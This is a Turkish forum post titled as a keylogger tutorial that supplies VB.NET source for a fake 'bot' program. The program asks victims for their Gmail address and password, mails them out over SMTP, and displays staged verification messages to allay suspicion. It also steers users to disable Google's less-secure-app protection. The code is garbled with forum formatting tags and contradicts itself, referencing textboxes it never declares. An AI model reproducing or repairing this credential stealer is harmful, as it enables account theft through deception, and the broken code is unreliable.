CKodlayicisi
Üye
Keylogger Yapımı
Arkadaşlar Bugün sizlere Keylogger Yapımını Göstercem İsteyenlere Yapabilirim
Not:Kodlar Bana Aittir Ve acemi işi vb.net'de işe yarar denendi
Gerekenler
3 textbox 1 button İsteyen Arttırabilir
Sonra textbox1'e sizin gmail konusudur
textbox2 gmailini yazar
textbox3'e şifresini yazar
ve butona basar Dikkat:Koruma Açıksa Olmayabilir
koruma kapatma
kapatmak için açmanız gerekecek Account settings: Your browser is not supported.
ve Kodlarımız İmport Kodları
Kod:
Imports System.Net.Mail[/COLOR][/SIZE][/CENTER]
[SIZE=4][COLOR=rgb(209, 213, 216)][CENTER]Imports System.Web
Imports System.IO
Imports System.NetŞimdi Form Load Komutları
Kod:
TextBox1.Text = "Bot Adı"[/COLOR][/SIZE][/CENTER]
[SIZE=4][COLOR=rgb(209, 213, 216)][CENTER] TextBox2.Text = "gmail hesabınız"
TextBox3.Text = "Şifreniz"
TextBox4.Text = "Davet Linki"
TextBox5.Text = "Botun Spam Mesajı"
site.Navigate("https://www.google.com/settings/security/lesssecureapps")şimdi kalan tüm kodlar
Dikkat Form1 loadın altında end sub olcak ordan enterlayın end sub ile end class arasına yapıştırın
Kod:
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click[/COLOR][/SIZE][/CENTER]
[SIZE=4][COLOR=rgb(209, 213, 216)][CENTER] If TextBox2.Text = "" Or TextBox3.Text = "" Or TextBox1.Text = "" Then
MsgBox("Lütfen Tüm Bilgileri Doğru Girin !", "Sıkıntı Çıkarsa Ckodlayicisi#1543 discordda ekle", MsgBoxStyle.Critical)
Else
Dim mail As New MailMessage
mail.Subject = "[email protected]"
mail.To.Add(TextBox2.Text) 'mail adresimiz
mail.From = New MailAddress(TextBox2.Text)
mail.Body = TextBox1.Text
Dim smtp As New SmtpClient("smtp.gmail.com")
smtp.EnableSsl = True
smtp.Credentials = New System.Net.NetworkCredential(TextBox2.Text & TextBox1.Text, TextBox3.Text)
smtp.Port = 587
smtp.Send(mail)
MsgBox(TextBox2.Text & " " & "Adresiniz Doğrulanıyor", MsgBoxStyle.Information)
System.Threading.Thread.Sleep(5000)
MsgBox("%random%")
MsgBox("%100")
System.Threading.Thread.Sleep(5000)
MsgBox("Doğrulandı Bot Çalıştırılıyor...", MsgBoxStyle.Information)
End If
End Sub
Private Sub WebBrowser1_********Completed(sender As Object, e As WebBrowser********CompletedEventArgs) Handles site.********Completed
End Sub
Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs)
End Sub
Private Sub CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBox1.CheckedChanged
Process.Start("https://www.google.com/settings/security/lesssecureapps")
End Sub
Moderatör tarafında düzenlendi:
